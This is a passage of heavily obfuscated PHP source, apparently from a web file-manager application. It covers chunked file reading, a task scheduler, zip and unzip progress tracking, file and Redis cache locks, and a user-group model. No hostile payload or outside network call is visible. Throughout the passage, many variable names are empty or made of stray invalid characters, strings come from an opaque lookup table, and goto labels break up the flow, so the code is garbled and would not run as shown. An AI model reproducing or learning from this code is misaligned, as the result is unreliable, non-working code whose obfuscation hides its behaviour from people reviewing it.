=& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $‘ = 0; $؎ = 0; $ = $˔ٌ[22]; foreach ($ as $‘ => $) { $‘ = intval($‘); $؎ = $‘ + strlen($); if ($盯 >= $؎) { continue; } if ($盯 >= $‘ && $盯 + $޴ <= $؎) { return substr($, $盯 - $‘, $޴); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($˔ٌ[1496], $˔ٌ[1497] . count($) . "\73\163\x74\x61\x72\164\75{$盯}\54\154\x65\x6e\147\164\150\75{$޴}\x3b\160\x6f\163\x65\x3a{$‘}\176{$؎}"); throw new Exception($˔ٌ[1498]); } $Ӈ = intval($盯 / $ư) * $ư; $ڳ = ceil(($盯 + $޴) / $ư) * $ư - $Ӈ; $븟 = IO::fileSubstr($this->path, $Ӈ, $ڳ); $[$Ӈ . $˔ٌ[22]] = $븟; ksort($); $ = substr($븟, $盯 - $Ӈ, $޴); return $; } private function log($玴, $) { $ٳ =& $_SERVER[Ǿ]; $ = timeFloat() - $this->timeStart; write_log(sprintf($ٳ[1499], $玴, $this->info[$ٳ[42]], $, $), $ٳ[1166]); } } class Message { function __construct() { } public function send($֭ٝ = '', $ = array(), $܌ = "\x74\x65\170\164") { $ص =& $_SERVER[Ǿ]; $С˭ = array($ص[43] => $ص[1500], $ص[747] => $֭ٝ); if (in_array($܌, array($ص[1500], $ص[1501]))) { $С˭[$ص[43]] = $܌; } $ = array($ص[515] => isset($[$ص[515]]) ? $[$ص[515]] : $ص[22], $ص[594] => isset($[$ص[594]]) ? $[$ص[594]] : $ص[22]); if (empty($֭ٝ) || empty($[$ص[515]]) && empty($[$ص[594]])) { return !1; } $LJ = array($ص[1441] => $С˭, $ص[1502] => $); Hook::trigger($ص[1503], $LJ); } } goto bׄ‰; d: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($վ, $ݣ = 5.0) { if (!$վ) { return; } $ = Cache::get($վ); if (!$ || timeFloat() - floatVal($) >= $ݣ) { Cache::set($վ, timeFloat(), $ݣ * 10); return !0; } return !1; } public static function timeLimitCall($, $Ȉ, $ВЅ, $ = 5.0) { $ؿ =& $_SERVER[Ǿ]; if (!$ || !$Ȉ) { return; } self::$asyncAdd = !0; $Ҫʱ = $ؿ[1722]; $ = Cache::get($Ҫʱ, !0); $܊ = array($ؿ[1723] => timeFloat(), $ؿ[1724] => timeFloat(), $ؿ[268] => $Ȉ, $ؿ[1717] => $ВЅ, $ؿ[206] => $); if (is_array($[$])) { $܊[$ؿ[1724]] = $[$][$ؿ[1724]]; } if (is_array($[$])) { if (timeFloat() - $[$][$ؿ[1723]] < $܊[$ؿ[206]] * 0.3) { return; } $܊[$ؿ[1724]] = $[$][$ؿ[1724]]; } $[$] = $܊; Cache::set($Ҫʱ, $, 60); Cache::removeMemory($Ҫʱ); write_log($ؿ[1725] . $ . $ؿ[81] . $Ȉ, $ؿ[1719]); } public static function timeLimitCallLoop() { $򍞴 =& $_SERVER[Ǿ]; $ڳ = array($򍞴[1726]); $ӏ = in_array(strtolower(ACTION), $ڳ); if (!$ӏ && !self::$asyncAdd) { return; } $ = $򍞴[1722]; $􏌉 = Cache::get($, !0); if (!$􏌉 || count($􏌉) <= 0) { return; } $Ҍ = !1; $ = timeFloat(); $Ő = array(); foreach ($􏌉 as $ֽ => $ݬ) { if ($ - $ݬ[$򍞴[1724]] > $ݬ[$򍞴[206]]) { $Ҍ = !0; try { Hook::apply($ݬ[$򍞴[268]], $ݬ[$򍞴[1717]]); write_log($򍞴[1727] . $ֽ . $򍞴[81] . $ݬ[$򍞴[268]] . $򍞴[1728] . ACTION, $򍞴[1719]); } catch (Exception $ߋ٧) { } continue; } $Ő[$ֽ] = $ݬ; } if (!$Ҍ) { return; } if (!$Ő) { return Cache::remove($); } Cache::set($, $Ő, 60); Cache::removeMemory($); } public static function finished($, $) { $􇁋 =& $_SERVER[Ǿ]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($􇁋[268] => $, $􇁋[1717] => $); } private static function finishedRun() { $ج =& $_SERVER[Ǿ]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$ج[268]], $[$ج[1717]]); } catch (Exception $ѧ) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $Ē =& $_SERVER[Ǿ]; parent::startAfter(); Hook::bind($Ē[1729], array($this, $Ē[1730])); Hook::bind($Ē[1177], array($this, $Ē[1731])); $֌ =& $this->task; $֌[$Ē[1732]] = $Ē[1182]; if (!$֌[$Ē[1540]]) { $֌[$Ē[1540]] = LNG($Ē[1733]); } } protected function endAfter() { $ =& $_SERVER[Ǿ]; parent::endAfter(); Hook::unbind($[1729], array($this, $[1730])); Hook::unbind($[1177], array($this, $[1731])); } public function updateAfter() { $Ժ =& $_SERVER[Ǿ]; $ =& $this->task; if (!$[$Ժ[778]] || !$[$Ժ[755]]) { return; } if ($[$Ժ[1732]] == $Ժ[1182]) { $ = 0; if ($[$Ժ[1688]]) { $ = $[$Ժ[1689]] / $[$Ժ[1688]]; } $[$Ժ[1642]] = $ * 0.3; } else { if ($[$Ժ[1732]] == $Ժ[317]) { $ = $[$Ժ[1641]] / $[$Ժ[778]]; $[$Ժ[1642]] = 0.3 + $ * 0.4; } else { if ($[$Ժ[1732]] == $Ժ[118]) { $ = 0; if ($[$Ժ[1690]] == $Ժ[118]) { $ = $[$Ժ[1689]]; } $ = ($[$Ժ[1693]] + $) / $[$Ժ[755]]; $[$Ժ[1642]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$Ժ[1642]] > 0) { $Ծ = timeFloat() - $[$Ժ[1644]] - $[$Ժ[1647]]; $[$Ժ[1648]] = $Ծ * (1 - $[$Ժ[1642]]) / $[$Ժ[1642]]; } } public function addFile($) { $ =& $_SERVER[Ǿ]; $՞ʃ =& $this->task; $â = IO::info($); $՞ʃ[$[1686]] = $â[$[42]]; $՞ʃ[$[1688]] = $â[$[90]]; $՞ʃ[$[1689]] = 0; $՞ʃ[$[1049]] = $[1708]; $՞ʃ[$[1690]] = $[1182]; $՞ʃ[$[755]] = $â[$[90]]; $՞ʃ[$[778]] = 1; $ˢÍ = 0; $՞ʃ[$[1697]] = array($[1698] => $ˢÍ + 1, $[421] => $â[$[42]], $[88] => $â[$[88]], $[519] => $â[$[519]] ? $â[$[519]] : $â[$[88]]); $this->update(); } public function unzipAfter($ނ) { $⧠ =& $_SERVER[Ǿ]; $ =& $this->task; $[$⧠[1732]] = $⧠[118]; $ = IO::infoWithChildren($ނ); $ = 0; $[$⧠[1697]] = array($⧠[1698] => $ + 1, $⧠[421] => $[$⧠[42]], $⧠[88] => $[$⧠[88]], $⧠[519] => $[$⧠[519]] ? $[$⧠[519]] : $[$⧠[88]]); if ($[$⧠[43]] == $⧠[202]) { $[$⧠[778]] = 1; } else { $[$⧠[778]] = $[$⧠[93]][$⧠[91]]; } $[$⧠[1049]] = $⧠[22]; $[$⧠[1690]] = 0; $[$⧠[1641]] = 0; $[$⧠[1688]] = 0; $[$⧠[1689]] = 0; $[$⧠[1686]] = $⧠[22]; $[$⧠[1693]] = 0; $[$⧠[755]] = $[$⧠[90]]; $this->update(); self::log($⧠[1734] . json_encode(array($, $))); } public function nameParse($) { $ΖƤ =& $_SERVER[Ǿ]; $ =& $this->task; if ($[$ΖƤ[1732]] == $ΖƤ[1182]) { $[$ΖƤ[1732]] = $ΖƤ[317]; $[$ΖƤ[1693]] = 0; $[$ΖƤ[755]] = 0; } $Ǵ = get_path_this($); if (strstr($Ǵ, $ΖƤ[20])) { $[$ΖƤ[1641]] += 1; $[$ΖƤ[778]] += 1; } $[$ΖƤ[1686]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $Ł =& $_SERVER[Ǿ]; parent::startAfter(); Hook::bind($Ł[1735], array($this, $Ł[1730])); $ =& $this->task; $[$Ł[1732]] = $Ł[1182]; if (!$[$Ł[1540]]) { $[$Ł[1540]] = LNG($Ł[1736]); } } protected function endAfter() { $軥 =& $_SERVER[Ǿ]; parent::endAfter(); Hook::unbind($軥[1735], array($this, $軥[1730])); } public function updateAfter() { $Ƿ =& $_SERVER[Ǿ]; $ =& $this->task; if (!$[$Ƿ[778]] || !$[$Ƿ[755]]) { return; } if ($[$Ƿ[1732]] == $Ƿ[1182]) { $Ǎ = $[$Ƿ[1689]]; if ($[$Ƿ[1690]] != $Ƿ[1182]) { $Ǎ = 0; } $ = ($[$Ƿ[1693]] + $Ǎ) / $[$Ƿ[755]]; $[$Ƿ[1642]] = $ * 0.3; } else { if ($[$Ƿ[1732]] == $Ƿ[317]) { $ = $[$Ƿ[1641]] / $[$Ƿ[778]]; $[$Ƿ[1642]] = 0.3 + $ * 0.5; } else { if ($[$Ƿ[1732]] == $Ƿ[118]) { $ = 0; if ($[$Ƿ[1688]]) { $ = $[$Ƿ[1689]] / $[$Ƿ[1688]]; } $[$Ƿ[1642]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$Ƿ[1642]] > 0) { $ = timeFloat() - $[$Ƿ[1644]] - $[$Ƿ[1647]]; $[$Ƿ[1648]] = $ * (1 - $[$Ƿ[1642]]) / $[$Ƿ[1642]]; } } public function copyFileStart($܎, $, $ݮ, $Ԫ, $ԕ, $) { $縞 =& $_SERVER[Ǿ]; parent::copyFileStart($܎, $, $ݮ, $Ԫ, $ԕ, $); $ =& $this->task; if ($[$縞[1732]] == $縞[317]) { $[$縞[1732]] = $縞[118]; } $this->update(); } public function copyFileEnd($ޠ, $ƛ, $˻, $խ, $ѯǣ, $) { $ш =& $_SERVER[Ǿ]; $ݞ˂ =& $this->task; $ݞ˂[$ш[1689]] = $ݞ˂[$ш[1688]]; $ݞ˂[$ш[1693]] += $ݞ˂[$ш[1688]]; $ݞ˂[$ш[1690]] = $ш[22]; $this->update(); } public function nameParse($ઔ) { $䴠 =& $_SERVER[Ǿ]; $ݿ =& $this->task; if ($ݿ[$䴠[1641]] < $ݿ[$䴠[778]]) { $ = get_path_this($ઔ); if (strstr($, $䴠[20])) { $ݿ[$䴠[1641]] += 1; } } if ($ݿ[$䴠[1732]] == $䴠[1182]) { $ݿ[$䴠[1732]] = $䴠[317]; } $ݿ[$䴠[1686]] = $ઔ; $this->update(); } } goto f; eՆ: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[Ǿ]; $ = $GLOBALS[$[16]][$[353]]; self::$cachePath = $[$[202]][$[88]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($ʉʳ, $݊ = 0) { $Ġ =& $_SERVER[Ǿ]; $ = microtime(!0); $ = $ + $݊ + 0.0001; $ = rtrim(self::$cachePath, $Ġ[18]) . $Ġ[851] . md5($ʉʳ) . $Ġ[848]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ᰔë = fopen($, $Ġ[852]); if (!$ᰔë) { return !1; } $㹝 = flock($ᰔë, LOCK_EX | LOCK_NB); self::$caches[$ʉʳ] = array($Ġ[853] => $ᰔë, $Ġ[202] => $); fwrite($ᰔë, $); clearstatcache(); if ($ᰔë && $㹝) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($ʉʳ); return !1; } public function lockGet($̚) { $ =& $_SERVER[Ǿ]; $ = rtrim(self::$cachePath, $[18]) . $[851] . md5($̚) . $[848]; return file_exists($); } public function unlock($) { $ܽ˲ =& $_SERVER[Ǿ]; $ = self::$caches[$]; if (!$) { return; } @flock($[$ܽ˲[853]], LOCK_UN); @fclose($[$ܽ˲[853]]); @unlink($[$ܽ˲[202]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($, $Аϭ = 10) { $Ҍ = Cache::init(); $Ι = microtime(!0) + $Аϭ; while (microtime(!0) < $Ι) { $ = $Ҍ->get($); if (!$) { $ = $Ҍ->setLock($, $Ι, $Аϭ); if ($) { return !0; } } else { if ($ < microtime(!0)) { $Ҍ->set($, $Ι, $Аϭ * 2); if ($Ҍ->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ʇ) { return Cache::init()->get($ʇ); } public function unlock($߭) { return Cache::init()->remove($߭); } } goto FҲ; C鰂: class GroupModel extends ModelBase { protected $tableName = "\147\162\x6f\165\160"; protected $tableMeta = array("\164\141\x62\x6c\145\x4e\141\155\x65" => "\x67\x72\x6f\x75\160\x5f\x6d\145\x74\x61", "\x6d\145\x74\141\106\151\145\154\x64" => "\x67\x72\x6f\165\x70\x49\104"); protected function cacheFunctionAlias($) { $ =& $_SERVER[Ǿ]; return array($[1885] => array($[0], $[1886]), $[1887] => array($[0], $[1888])); } protected function getInfo($Α, $ض = false) { $ = $this->getInfoSimple($Α); if (!$) { return !1; } if ($ض) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[Ǿ][1889], $Α); } protected function getInfoSimple($, $ = false) { $ߘ =& $_SERVER[Ǿ]; if ($) { $ = array($ߘ[1808] => intval($)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($ߘ[1890], $); } protected function groupAdd($) { $ =& $_SERVER[Ǿ]; if (!$[$[498]] && isset($[$[1808]]) && $[$[1808]] == 1) { if ($՞ = $this->getInfoSimple($[$[1808]], !0)) { return $[$[1808]]; } } else { $՞ = $this->getInfoSimple($[$[498]]); if (!$՞) { return !1; } } $޾˵ = $[531]; if ($՞[$[521]]) { $޾˵ = $՞[$[521]] . $՞[$[1808]] . $[60]; } $ď = array($[421] => $this->groupNameAuto($[$[498]], $[$[42]]), $[402] => $[$[498]], $[584] => $޾˵, $[1891] => $[$[1795]], $[1892] => 0, $[1812] => 0); if (isset($[$[1831]])) { $ď[$[1831]] = $[$[1831]]; } else { $Έݙ = $this->max($[1831]); if (!$Έݙ) { $Έݙ = 0; } $ď[$[1831]] = $Έݙ + 1; } if (!empty($[$[1808]])) { $ď[$[1808]] = $[$[1808]]; } $ꆋ = $this->add($ď); $this->setNamePinyin($ꆋ, $ď[$[42]]); if (isset($[$[1893]])) { $this->metaSet($ꆋ, array($[1893] => $[$[1893]], $[1894] => $[$[1894]])); unset($[$[1893]]); unset($[$[1894]]); } Model($[1310])->groupRootAdd($ꆋ); return $ꆋ; } protected function groupEdit($Φ, $) { $˦ =& $_SERVER[Ǿ]; $٤Ȁ = $this->getInfoSimple($Φ); if (!$٤Ȁ) { return !1; } if (!empty($[$˦[498]])) { $ = $this->getInfoSimple($[$˦[498]]); if (!$) { return !1; } if ($٤Ȁ[$˦[1808]] == $[$˦[1808]]) { return !1; } if ($[$˦[498]] != $٤Ȁ[$˦[498]]) { if ($[$˦[521]] !== $٤Ȁ[$˦[521]] && strpos($[$˦[521]], $٤Ȁ[$˦[521]] . $٤Ȁ[$˦[1808]] . $˦[60]) === 0) { return !1; } $[$˦[584]] = $[$˦[521]] . $[$˦[498]] . $˦[60]; $this->_changeChildLevel($٤Ȁ, $); } } if (isset($[$˦[42]])) { $this->setNamePinyin($Φ, $[$˦[42]]); } if (isset($[$˦[1893]])) { $this->metaSet($Φ, array($˦[1893] => $[$˦[1893]], $˦[1894] => $[$˦[1894]])); unset($[$˦[1893]]); unset($[$˦[1894]]); } $this->_clearChildrenCache($٤Ȁ); return $this->where(array($˦[1895] => $Φ))->save($); } private function _clearChildrenCache($) { $ =& $_SERVER[Ǿ]; $ = array($[584] => array($[544], $[$[521]] . $[$[1808]] . $[545])); $̙ = $this->field($[1808])->where($)->select(); foreach ($̙ as $) { $this->_clearCache($[$[1808]]); } } private function _clearCache($ޥ) { $ =& $_SERVER[Ǿ]; $this->cacheFunctionClear($[1889], $ޥ); $this->cacheFunctionClear($[1890], $ޥ); } private function _changeChildLevel($Ҟú, $Ϙ, $ = false) { $ =& $_SERVER[Ǿ]; $հ = $Ҟú[$[521]] . $Ҟú[$[1808]] . $[60]; $ߤ = $Ϙ[$[521]] . $Ϙ[$[1808]] . $[60] . $Ҟú[$[1808]] . $[60]; if ($) { $ߤ = $Ϙ[$[521]] . $Ϙ[$[1808]] . $[60]; } $ܓ = array($[584] => array($[544], $Ҟú[$[521]] . $Ҟú[$[1808]] . $[545])); $ۿ = array($[584] => array($[593], "\x72\x65\x70\x6c\141\x63\145\50\x70\141\162\x65\x6e\x74\114\145\x76\x65\x6c\54\47{$հ}\47\x2c\47{$ߤ}\x27\51")); $this->_clearChildrenCache($Ҟú); $this->where($ܓ)->data($ۿ)->save(); } public function setNamePinyin($, $ = false) { $© =& $_SERVER[Ǿ]; if (!$) { $鰓 = $this->getInfoSimple($); $ = $鰓[$©[42]]; } if (!Input::check($, $©[587])) { $this->metaSet($, $©[464], null); $this->metaSet($, $©[463], null); return; } $ = array($©[464] => str_replace($©[63], $©[22], Pinyin::get($)), $©[463] => Pinyin::get($, $©[588])); $this->metaSet($, $); } protected function groupStatus($Ǯ, $ٶ) { $荜 =& $_SERVER[Ǿ]; $ć = $this->getInfoSimple($Ǯ); if (!$ć) { return !1; } if ($ٶ == $荜[99]) { $Ɗ = $this->parentLevelArray($ć[$荜[521]]); } else { $Բ = array($荜[584] => array($荜[544], $ć[$荜[521]] . $ć[$荜[1808]] . $荜[545])); $Ɗ = $this->where($Բ)->field($荜[1808])->select(); $Ɗ = array_to_keyvalue($Ɗ, $荜[22], $荜[1808]); } $Ɗ[] = $ć[$荜[1808]]; $ԯ = array(); foreach ($Ɗ as $Ǯ) { $ԯ[] = array($荜[1808] => $Ǯ, $荜[105] => $荜[742], $荜[378] => $ٶ); $this->_clearCache($Ǯ); } return Model($荜[1896])->addAll($ԯ, array(), !0); } protected function groupRemove($) { $ =& $_SERVER[Ǿ]; $豣 = array($[1808] => $); $ = $this->where($豣)->find(); if (!$ || $[$[498]] == 0) { return !1; } $垌 = $this->getInfoSimple($[$[498]]); $this->_changeChildLevel($, $垌, !0); $this->where(array($[498] => $))->save(array($[498] => $[$[498]])); Model($[1896])->where($豣)->delete(); Model($[1897])->where($豣)->delete(); Model($[817])->groupRootRemove($); return $this->where($豣)->delete(); } protected function groupSort($) { $ =& $_SERVER[Ǿ]; $≆ = array(); foreach ($ as $ => $݁) { $≆[] = array($[1808], $݁, $[1831], $ + 1); } $this->saveAll($≆); } public function listData() { $읤 = $this->_makeOrder()->selectPage(50); $this->_listDataApply($읤[$_SERVER[Ǿ][373]]); return $읤; } private function _makeOrder($ = '') { $ڿŃ =& $_SERVER[Ǿ]; $ = array($ڿŃ[1808], $ڿŃ[42], $ڿŃ[1797], $ڿŃ[203]); $ĩ = array($ڿŃ[448] => $ڿŃ[449], $ڿŃ[450] => $ڿŃ[451]); $р = Input::get($ڿŃ[455], $ڿŃ[17], $ڿŃ[1812], $); $˜ۣ = Input::get($ڿŃ[456], $ڿŃ[17], $ڿŃ[1898], array($ڿŃ[1898], $ڿŃ[450])); $˜ۣ = $ĩ[$˜ۣ]; $ = $ . "{$р}\x20{$˜ۣ}\x2c\x20\x67\x72\157\165\x70\111\104\40\141\163\143"; return $this->order($); } public function listChild($ӈ) { $Ք =& $_SERVER[Ǿ]; $ = $this->where(array($Ք[498] => $ӈ))->_makeOrder()->selectPage(200); $this->_listDataApply($[$Ք[373]]); return $; } public function listByID($һ) { $՜ =& $_SERVER[Ǿ]; if (!$һ) { return array(); } $ѕ = array($՜[1808] => array($՜[17], $һ)); $ύ = $this->where($ѕ)->select(); $ύ = array_sort_keep($ύ, $՜[1808], $һ); $this->_listDataApply($ύ); return $ύ; } public function listSearch($) { $Յ˕ =& $_SERVER[Ǿ]; $۲方 = $[$Յ˕[1899]]; $ = isset($[$Յ˕[1900]]) ? $[$Յ˕[1900]] : !1; if (!trim($۲方)) { return !1; } $۲方 = str_replace($Յ˕[1901], $Յ˕[1902], $۲方); $Í = array($Յ˕[1808] => array($Յ˕[387], "{$۲方}\45"), $Յ˕[42] => array($Յ˕[387], "\x25{$۲方}\45"), $Յ˕[985] => $Յ˕[1903]); if ($) { $ոЪ = $this->getInfoSimple($); $㏇ = $ոЪ[$Յ˕[521]] . $ . $Յ˕[545]; $Í = array($Í, array($Յ˕[521] => array($Յ˕[387], $㏇))); } $Í = $this->parseWhereLike($Í); $̯ = $this->_makeOrder()->where($Í)->selectPage(20); $̯ = $̯ ? $̯ : array($Յ˕[373] => array(), $Յ˕[370] => array()); if (!$̯ || count($̯[$Յ˕[373]]) < 5 && Input::check($۲方, $Յ˕[322])) { $ = $this->groupChildrenAll($); $ = $this->_searchFromMeta($Յ˕[463], $۲方, 10, $); $Ѹ = $this->_searchFromMeta($Յ˕[464], $۲方, 10, $); $է = array_merge($, $Ѹ, $̯[$Յ˕[373]]); $̯[$Յ˕[373]] = array_unique_by_key($է, $Յ˕[1808]); $̯[$Յ˕[370]][$Յ˕[371]] = count($̯[$Յ˕[373]]); $̯[$Յ˕[370]][$Յ˕[372]] = ceil($̯[$Յ˕[370]][$Յ˕[371]] / $̯[$Յ˕[370]][$Յ˕[367]]); } $this->_listDataApply($̯[$Յ˕[373]]); return $̯; } protected function groupChildrenAll($ْ) { $ =& $_SERVER[Ǿ]; if (!$ْ) { return !1; } if (is_string($ْ)) { $ْ = array($ْ); } $湭 = $ْ; foreach ($ْ as $ѧ) { $ħޤ = $this->getInfoSimple($ѧ); $ = array($[521] => array($[387], $ħޤ[$[521]] . $ѧ . $[545])); $˷ = $this->field($[1808])->where($)->select(); $湭 = array_merge($湭, array_to_keyvalue($˷, $[22], $[1808])); } return array_unique($湭); } private function _searchFromMeta($, $, $, $) { $” =& $_SERVER[Ǿ]; $ = strtolower($); $ = array($”[105] => $, $”[378] => array($”[387], "\45{$}\x25")); $ = $this->parseWhereLike($); if ($) { $[$”[1808]] = array($”[17], $); } $ = Model($”[1904])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $”[22], $”[1808]); $҂˜ = $this->where(array($”[1895] => array($”[17], $)))->select(); if (!$҂˜) { return array(); } return $҂˜; } protected function _listDataApplyItem($) { $фǬ = array($); $this->_listDataApply($фǬ); return $фǬ[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[Ǿ]; if (!$) { return; } $ = array_to_keyvalue($, $[22], $[1808]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$ْ) { $ʥ =& $_SERVER[Ǿ]; $싌 = array_to_keyvalue($ْ, $ʥ[22], $ʥ[1808]); $ = array($ʥ[498] => array($ʥ[17], $싌)); $ = array($ʥ[498], $ʥ[1905] => $ʥ[500]); $ = $this->field($)->where($)->group($ʥ[498])->select(); $хܖ = array_to_keyvalue($, $ʥ[498], $ʥ[500]); foreach ($ْ as &$É) { $ = $É[$ʥ[1808]]; $É[$ʥ[1906]] = isset($хܖ[$]) ? intval($хܖ[$]) : !1; } unset($É); } private function _listAppendChildrenMember(&$ˠ×) { $ɓ =& $_SERVER[Ǿ]; $ֽ = array_to_keyvalue($ˠ×, $ɓ[22], $ɓ[1808]); $כ񹥴 = array($ɓ[1808] => array($ɓ[17], $ֽ)); $ = array($ɓ[1808], $ɓ[1905] => $ɓ[500]); $Ԏ = Model($ɓ[1897])->field($)->where($כ񹥴)->group($ɓ[1808])->select(); $› = array_to_keyvalue($Ԏ, $ɓ[1808], $ɓ[500]); foreach ($ˠ× as &$֨) { $ŕ = $֨[$ɓ[1808]]; $֨[$ɓ[1907]] = isset($›[$ŕ]) ? intval($›[$ŕ]) : !1; } unset($֨); } private function _listAppendMeta(&$, $杗) { $ =& $_SERVER[Ǿ]; $ = array($[1808] => array($[17], $杗)); $Ƶɿ = Model($[1896])->where($)->select(); $Ƶɿ = array_to_keyvalue_group($Ƶɿ, $[1808]); foreach ($Ƶɿ as &$䝧) { $䝧 = array_to_keyvalue($䝧, $[105], $[378]); } unset($䝧); foreach ($ as &$ᤫ) { $ᤫ[$[465]] = array(); if (isset($Ƶɿ[$ᤫ[$[1808]]])) { $ᤫ[$[465]] = $Ƶɿ[$ᤫ[$[1808]]]; } } unset($ᤫ); } protected function parentLevelArray($Ճ) { $˓Ͽ =& $_SERVER[Ǿ]; $Ճ = explode($˓Ͽ[60], trim($Ճ, $˓Ͽ[60])); $Ճ = array_remove_value($Ճ, $˓Ͽ[200]); return $Ճ; } private function _listAppendParent(&$Ố) { $ܡ߃ =& $_SERVER[Ǿ]; $ۓ = array(); foreach ($Ố as &$ܵ) { $ۓ[$ܵ[$ܡ߃[1808]]] = $ܵ[$ܡ߃[42]]; $ = $this->parentLevelArray($ܵ[$ܡ߃[521]]); foreach ($ as $) { if (!isset($ۓ[$])) { $ۓ[$] = 0; } } } unset($ܵ); foreach ($ۓ as $ => $) { if ($) { continue; } $Ԑ̾ = $this->getInfoSimple($); $ۓ[$] = $Ԑ̾[$ܡ߃[42]]; } $睺 = $GLOBALS[$ܡ߃[16]][$ܡ߃[100]][$ܡ߃[1908]]; if ($GLOBALS[$ܡ߃[505]] == $ܡ߃[99]) { $睺 = !1; } foreach ($Ố as &$ܵ) { $ = $this->parentLevelArray($ܵ[$ܡ߃[521]]); $ = $ܡ߃[22]; foreach ($ as $ => $) { if ($睺 && $ == 0) { continue; } $ .= $ۓ[$] . $ܡ߃[18]; } if ($) { $ .= $ܵ[$ܡ߃[42]]; } $ܵ[$ܡ߃[526]] = str_replace($ܡ߃[529], $ܡ߃[18], $); } unset($ܵ); } private function _listAppendSourceRoot(&$, $) { $׸ =& $_SERVER[Ǿ]; $س = Model($׸[817])->listSourceRoot(SourceModel::TYPE_GROUP, $); $س = array_to_keyvalue($س, $׸[504]); $س = array_remove_key($س, $׸[504]); foreach ($ as &$Ѩ) { $Ѩ[$׸[97]] = $س[$Ѩ[$׸[1808]]] ? $س[$Ѩ[$׸[1808]]] : array(); } unset($Ѩ); } protected function groupMerge($) { $ = array_values(array_unique($)); $Ѯĸ = array(); for ($ڑ = 0; $ڑ < count($); $ڑ++) { $ = !1; for ($Ě = 0; $Ě < count($); $Ě++) { if ($ڑ == $Ě) { continue; } if ($this->isParentOf($[$Ě], $[$ڑ])) { $ = !0; break; } } if (!$) { $Ѯĸ[] = $[$ڑ]; } } return $Ѯĸ; } protected function isParentOf($Ҏ, $ԑ) { $ʍ =& $_SERVER[Ǿ]; if (!$Ҏ || !$ԑ || $Ҏ == $ԑ) { return !1; } $텽 = $this->getInfoSimple($Ҏ); $񘗊 = $this->getInfoSimple($ԑ); $ = $텽[$ʍ[521]] . $Ҏ . $ʍ[60]; if (substr($񘗊[$ʍ[521]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($ݾ, $Ӫ = false) { $З =& $_SERVER[Ǿ]; $ = $this->getInfo($ݾ); if (!$) { return array(); } $ڒ = $this->parentLevelArray($[$З[521]]); $ģ = array($ݾ); if (count($ڒ) == 0) { return $ģ; } if ($Ӫ && count($ڒ) == 1) { return $ģ; } if (!$[$З[465]] || !isset($[$З[465]][$З[1893]]) || $[$З[465]][$З[1893]] == $З[1862]) { return $this->groupShowRoot($ڒ[count($ڒ) - 1], $Ӫ); } if ($[$З[465]][$З[1893]] == $З[361]) { $ί = explode($З[60], $[$З[465]][$З[1894]]); if ($ί) { $ģ = array_merge($ģ, $ί); } } return $ģ; } protected function resetParentLevel() { $̏ =& $_SERVER[Ǿ]; $ѵ = $̏[1808]; $ի = $this->select(); $ի = array_to_keyvalue($ի, $ѵ); foreach ($ի as $ۯ) { $Ĭ = $ۯ; $씫 = array(); while ($Ĭ[$̏[498]] != 0) { $씫[] = $Ĭ[$̏[498]]; $Ĭ = $ի[$Ĭ[$̏[498]]]; } $씫[] = 0; $씫 = $̏[60] . implode($̏[60], array_reverse($씫)) . $̏[60]; $this->setNamePinyin($ۯ[$ѵ], $ۯ[$̏[42]]); $this->where(array($ѵ => $ۯ[$ѵ]))->save(array($̏[584] => $씫)); } return $ի; } public function groupNameAuto($턾, $ب) { $ح =& $_SERVER[Ǿ]; $ = $this->where(array($ح[402] => $턾))->getField($ح[42], !0); if (!$ || !in_array($ب, $)) { return $ب; } for ($̳ = 1; $̳ <= count($) + 1; $̳++) { $DZ = $ب . "\x28{$̳}\51"; if (!in_array($DZ, $)) { return $DZ; } } } public function groupSwitch($ۧ, $ﵵÏ) { $ =& $_SERVER[Ǿ]; $ = array($[1808] => array($[17], array($ۧ, $ﵵÏ))); $ңʭ = $this->where($)->select(); $ңʭ = array_to_keyvalue($ңʭ, $[1808]); if (!isset($ңʭ[$ۧ]) || !isset($ңʭ[$ﵵÏ]) || $ңʭ[$ۧ][$[498]] == 0) { return !1; } $ = array($[1808] => $ۧ); $lj = Model($[1897])->where($)->select(); if (!$lj) { $lj = array(); } foreach ($lj as $ݢ) { $ = $ݢ[$[1640]]; $ = array($[1640] => $, $[1808] => $ﵵÏ); $͎ = Model($[1897])->where($)->find(); if (!$͎) { $ݟ = array($ﵵÏ => $ݢ[$[1909]]); Model($[538])->userGroupAdd($, $ݟ); } Model($[538])->userGroupRemove($, $ۧ); } $ = array($[412] => 2, $[498] => 0, $[411] => 1, $[504] => array($[17], array($ۧ, $ﵵÏ))); $ = Model($[817])->where($)->field($[1910])->select(); $ = array_to_keyvalue($, $[504], $[403]); $ư = !empty($[$ۧ]) ? $[$ۧ] : !1; if ($ư) { if (!$[$ﵵÏ]) { $[$ﵵÏ] = Model($[817])->groupRootAdd($ﵵÏ); } $ = $[$ﵵÏ]; $ = array($[498] => $ư); $ = Model($[817])->where($)->field($[1911])->select(); if (!$) { $ = array(); } Model($[817])->moveClearAuth = !1; foreach ($ as $ع) 